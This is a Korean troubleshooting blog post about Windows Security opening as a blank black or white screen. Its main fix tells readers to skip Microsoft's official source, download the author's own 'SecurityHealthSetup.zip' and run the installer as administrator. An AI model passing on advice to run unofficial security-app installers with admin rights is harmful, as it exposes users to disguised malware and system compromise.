윈도우 보안 열었을 때 검은 화면 또는 흰 화면이 뜨는 문제 해결법

 

윈도우를 새로 설치하거나 대형 업데이트 후 보안 설정을 열었을 때, 갑자기 검은 화면 또는 흰 화면이 뜨면서 아무것도 보이지 않는 현상을 겪어보셨나요? 또는 "페이지를 사용할 수 없음"이라는 메시지가 뜨고 보안 창이 열리지 않아 당황했던 경험이 있으셨을 겁니다.

이러한 현상은 주로 마이크로소프트 디펜더(Windows Security)의 앱 오류, 시스템 파일 손상, 혹은 외부 백신 프로그램의 충돌로 인해 발생할 수 있으며, 장기적으로 방치할 경우 컴퓨터 보안에 큰 위협이 될 수 있습니다.

오늘은 이 문제를 빠르고 확실하게 해결할 수 있는 방법을 하나하나 짚어드리겠습니다.

---

마이크로소프트 디펜더란?

마이크로소프트 디펜더(구: 윈도우 디펜더)는 윈도우 운영체제에 기본으로 탑재되어 있는 무료 보안 소프트웨어입니다. 백신 프로그램을 따로 설치하지 않아도 PC를 보호해주는 강력한 기능들을 갖추고 있으며, 특히 윈도우 11 환경에서는 다음과 같은 주요 기능을 제공합니다.

주요 기능 요약 (윈도우 11 기준)

1. 바이러스 및 위협 방지
   • 실시간으로 바이러스, 트로이목마, 랜섬웨어 등을 감지하고 차단
   • 클라우드 기반 보호 기능 지원
   • 중요 폴더 보호 기능으로 랜섬웨어로부터 파일을 지킴
2. 계정 보호
   • Windows Hello, PIN 인증, 이중 인증 등 로그인 단계 보안 강화
3. 방화벽 및 네트워크 보호
   • 도메인, 개인, 공용 네트워크 별로 접근 제어 가능
4. 앱 및 브라우저 제어
   • 허가되지 않은 앱의 실행 방지, 마이크로소프트 엣지를 통한 안전한 브라우징 제공
5. 기타 고급 기능
   • 네트워크 공격 보호
   • USB 포트 차단
   • 앱 실행 허용 목록(SRP, AppLocker) 관리 등

이처럼 윈도우 보안 앱은 단순한 바이러스 차단기능을 넘어서 운영체제 전체를 보호하는 핵심 시스템입니다. 따라서 해당 앱이 정상적으로 작동하지 않는다면 반드시 조치를 취해야 합니다.

---

증상: Windows 보안 창이 검거나 흰 화면으로 나오는 현상

윈도우 설정 > 개인정보 및 보안 > Windows 보안 > [Windows 보안 열기] 버튼을 눌렀을 때 다음과 같은 현상이 발생할 수 있습니다.

• 검은 화면만 뜨고 아무 반응이 없음
• 흰 화면이 떠 있으며 UI 요소가 로드되지 않음
• **"페이지를 사용할 수 없습니다"**라는 팝업이 발생

이러한 현상은 다음과 같은 원인에서 비롯될 수 있습니다.

---

원인 분석

1. 시스템 파일 손상
   윈도우 업데이트 중 손상된 보안 관련 시스템 파일이 남아있을 경우 앱이 정상 작동하지 않을 수 있습니다.
2. 외부 백신 프로그램 간 충돌
   노턴, 맥아피, 알약, 카스퍼스키 등 외부 백신 프로그램이 디펜더 기능을 비활성화하거나 충돌을 일으킬 수 있습니다.
3. 권한 문제 또는 관리자 권한 미부여 실행
   보안 앱을 실행할 때 관리자 권한이 없어 초기화면 로딩에 실패하는 경우도 있습니다.
4. 디펜더 앱 자체 손상
   설치 파일 일부가 유실되었거나 설정 레지스트리가 깨진 경우, 앱 자체가 정상 실행되지 않음

---

해결 방법

이제 실제로 문제를 해결하는 단계로 넘어가 보겠습니다. 다양한 방법이 있지만, 가장 확실하고 빠르게 해결되는 방법은 보안 앱 재설치입니다.

1단계: Windows 보안 앱 재설치 파일 다운로드

현재 마이크로소프트 공식 홈페이지에서는 SecurityHealthSetup.exe 파일 링크가 비어 있거나 정상 동작하지 않는 경우가 많습니다. 따라서 아래와 같이 준비된 파일을 통해 직접 설치를 진행하시면 됩니다.

• 파일명: SecurityHealthSetup.zip
• 용량: 8.26MB
• 구성: 보안 앱 설치 파일 및 실행 가이드

※ 파일을 다운로드한 후에는 반드시 압축을 먼저 풀어야 정상 실행됩니다.

2단계: 관리자 권한으로 설치 실행

• 압축 해제한 후, SecurityHealthSetup.exe 파일을 오른쪽 클릭
• "관리자 권한으로 실행"을 선택
• 설치가 자동으로 진행되며, 몇 초 내 완료됩니다

주의: 더블클릭만 하면 설치가 진행되지 않으며, 반드시 "관리자 권한"으로 실행해야 설치가 됩니다.

3단계: 보안 앱 정상 실행 확인

• 설치가 완료된 후 다시 설정 > 개인정보 및 보안 > Windows 보안 열기로 이동
• 정상적으로 보안 앱이 열리는지 확인

4단계: 여전히 열리지 않는다면?

• 컴퓨터를 재부팅해보세요. 설치 직후에는 아직 프로세스가 완전히 초기화되지 않아 앱 실행이 안 될 수도 있습니다.
• 재부팅 후에도 문제가 발생하면 sfc /scannow 명령어를 통해 시스템 파일 검사도 추천드립니다.

---

부가 팁: 디펜더 설정 최적화 방법

재설치 후 Windows 보안을 좀 더 강력하게 활용하기 위한 몇 가지 팁을 알려드립니다.

1. 실시간 보호 항상 켜기
   설정 > 업데이트 및 보안 > Windows 보안 > 바이러스 및 위협 방지 > 설정 관리 > 실시간 보호 ON
2. 랜섬웨어 보호 활성화
   중요 폴더 보호를 통해 외부 앱이 함부로 파일을 변경하지 못하도록 설정
3. 허용된 앱 목록 관리
   백신이나 보안 도구를 사용할 때 필요한 앱만 화이트리스트에 등록하여 불필요한 차단 방지

---

마무리하며

Windows 보안 앱은 단순한 바이러스 탐지 기능을 넘어서 윈도우 시스템의 뼈대와 같은 역할을 합니다. 따라서 검은 화면이나 흰 화면 문제로 인해 제대로 작동하지 않는다면 반드시 즉각적인 복구 조치를 취해야 합니다.

이번 글에서 소개한 보안 앱 재설치 방법은 가장 안전하면서도 강력한 해결책이며, 관리자 권한 실행과 재부팅만 잘 따라 하시면 누구나 쉽게 문제를 해결할 수 있습니다.

이제 윈도우 보안 설정을 다시 열어보세요. 정상적으로 작동하는 마이크로소프트 디펜더가 여러분의 PC를 안전하게 보호하고 있을 것입니다.